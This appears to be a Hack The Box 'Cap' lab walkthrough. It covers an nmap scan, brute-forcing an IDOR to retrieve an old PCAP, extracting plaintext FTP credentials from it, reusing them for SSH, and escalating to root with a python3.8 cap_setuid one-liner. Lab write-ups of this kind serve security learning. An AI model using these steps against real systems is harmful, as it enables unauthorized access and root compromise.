Hack The Box: Cap Walkthrough

Cap is a HackTheBox easy machine that points out the risks of credential reuse, unauthenticated services and overprivileged services. The initial foothold involves finding an old PCAP file using an IDOR vulnerability and credential reuse. Escalating privileges includes abusing an overprivileged service.

Educational Disclaimer: This walkthrough is for educational purposes only and was performed in an authorized Hack The Box lab environment. Do not attempt these techniques on systems without explicit permission.

1. Initial Enumeration and Service Discovery

As the first step, I ran an NMAP scan on the target machine to get a better idea of the target machine. I used nmap -sC -sV -O cap.htb -oN nmap_scan to scan the open ports and services.

nmap -sC -sV -O cap.htb -oN nmap_scan

Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-25 01:39 -0400
Nmap scan report for cap.htb (10.129.4.137)
Host is up (0.48s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open  http    Gunicorn
|_http-title: Security Dashboard
|_http-server-header: gunicorn
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.31 seconds

Based on the results, there are 3 ports open. Port 21 (FTP), port 22 (SSH), and port 80 (HTTP).
Upon inspecting the website on port 80, I discovered that it is running a Security Dashboard, and it is in a logged-in state as the user "Nathan".

The "Security Snapshot" link appears to run a live packet-capturing command and generate a downloadable PCAP file. The PCAP file is available to download from the /data/{id} endpoint, and we can change the ID to download other PCAP files.

I decided to brute-force this Insecure Direct Object Reference (IDOR) vulnerability to see if there are other PCAP files available.

I used BurpSuit Intruder to brute-force, and the results showed that there is an old PCAP file at /data/0.

2. Initial Access - PCAP Analysis & Credential Reuse

Downloading and analysing the PCAP file using Wireshark, I noticed that there is some recorded FTP traffic. FTP uses plain text to transmit credentials without any encryption. I was able to extract credentials for nathan. nathan : Buck3tH4TF0RM3!

ftp cap.htb

Connected to cap.htb.
220 (vsFTPd 3.0.3)
Name (cap.htb:kali): nathan
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||6672|)
150 Here comes the directory listing.
-r--------    1 1001     1001           33 Aug 25 05:44 user.txt
226 Directory send OK.
ftp> get user.txt
local: user.txt remote: user.txt
229 Entering Extended Passive Mode (|||43659|)
150 Opening BINARY mode data connection for user.txt (33 bytes).
100% |*******************************************************************************|    33        0.10 KiB/s    00:00 ETA
226 Transfer complete.
33 bytes received in 00:01 (0.03 KiB/s)
ftp>

By accessing the FTP as nathan, I was able to retrieve the user flag. Seems like the FTP directory is Nathan's home directory.
Since users tend to reuse credentials, I tried the same credentials for SSH access, and I was able to log in as Nathan via SSH.

3. Privilege Escalation - Abusing Linux Capabilities (cap_setuid)

I downloaded LinPeas onto the target machine for enumeration to find a way to escalate privileges.
LinPeas results flagged a list of kernel exploits that can be used to escalate privileges.

Some kernel exploits, such as CVE-2021-3493, seemed to escalate privileges to root, but I was unable to access the root directory.
When analysing the LinPeas result, I noticed the python3.8 service has cap_setuid privileges. Technically, I can use python 3.8 to escalate privileges.

# using over privileged python3.8 to escalate privileges

nathan@cap:~$ whoami
nathan
nathan@cap:~$ python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@cap:~# whoami
root
root@cap:~# cat /root/root.txt

Congrats! We found both flags!

HTB Machine Completion